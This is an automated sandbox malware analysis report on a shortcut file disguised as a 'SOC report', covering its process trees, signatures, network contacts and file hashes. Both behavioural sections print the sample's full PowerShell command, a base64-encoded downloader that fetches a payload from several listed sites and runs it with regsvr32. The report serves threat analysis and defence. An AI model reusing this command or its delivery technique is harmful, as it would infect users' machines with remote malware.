Malware Analysis Report

2024-12-07 16:13

Sample ID 241113-ln2r8sspcl
Target 413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87
SHA256 413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87

Threat Level: Likely malicious

The file 413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 09:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 09:41

Reported

2024-11-13 09:44

Platform

win7-20240903-en

Max time kernel

119s

Max time network

120s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "SOC report 04 27 2022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1

Network

N/A

Files

memory/2844-38-0x000007FEF60CE000-0x000007FEF60CF000-memory.dmp

memory/2844-39-0x000000001B650000-0x000000001B932000-memory.dmp

memory/2844-40-0x0000000001E70000-0x0000000001E78000-memory.dmp

memory/2844-41-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

memory/2844-42-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

memory/2844-44-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

memory/2844-48-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1

MD5 8ef6909ba4b9e6cd6676297601c39e5c
SHA1 9dcd9af682adacb278c1970d49babafd29df3928
SHA256 9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c
SHA512 b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5

memory/2844-51-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 09:41

Reported

2024-11-13 09:44

Platform

win10v2004-20241007-en

Max time kernel

96s

Max time network

140s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "SOC report 04 27 2022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 hmeng.co.uk udp
US 172.67.167.15:80 hmeng.co.uk tcp
US 8.8.8.8:53 edoraseguros.com.br udp
US 209.126.103.109:443 edoraseguros.com.br tcp
US 8.8.8.8:53 www.edoraseguros.com.br udp
US 209.126.103.109:443 www.edoraseguros.com.br tcp
US 8.8.8.8:53 15.167.67.172.in-addr.arpa udp
US 8.8.8.8:53 109.103.126.209.in-addr.arpa udp
US 8.8.8.8:53 www.reneetten.nl udp
NL 45.82.191.199:443 www.reneetten.nl tcp
US 8.8.8.8:53 brendancleary.net udp
US 173.236.139.118:80 brendancleary.net tcp
US 8.8.8.8:53 bencevendeghaz.hu udp
HU 37.221.212.72:443 bencevendeghaz.hu tcp
US 8.8.8.8:53 anat-bar.co.il udp
US 8.8.8.8:53 199.191.82.45.in-addr.arpa udp
US 8.8.8.8:53 118.139.236.173.in-addr.arpa udp
US 8.8.8.8:53 72.212.221.37.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 72.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

memory/3008-2-0x00007FF878873000-0x00007FF878875000-memory.dmp

memory/3008-3-0x000001F415450000-0x000001F415472000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tvwk1ssq.h4h.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3008-13-0x00007FF878870000-0x00007FF879331000-memory.dmp

memory/3008-14-0x00007FF878870000-0x00007FF879331000-memory.dmp

memory/3008-15-0x00007FF878870000-0x00007FF879331000-memory.dmp

memory/3008-16-0x00007FF878870000-0x00007FF879331000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1

MD5 8ef6909ba4b9e6cd6676297601c39e5c
SHA1 9dcd9af682adacb278c1970d49babafd29df3928
SHA256 9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c
SHA512 b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5

memory/4980-28-0x0000019D46280000-0x0000019D46A26000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 77e0a181712d3644a2b1da823e80c2d2
SHA1 ed71984fb0584325d2016af51600a25f80023412
SHA256 c0e4ba11bf057cc9e23bfca33c01687cf5cbfaea0e9729ce7a95c0a7a87590d8
SHA512 7eaddfded984082234def37d17cf4c973f72be275e77704558ab8f99c01e8850be7d86715b404f7f299fb5e30c9017e6328da2c2593970630f6d2d2e1dd2ac54

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/3008-35-0x00007FF878870000-0x00007FF879331000-memory.dmp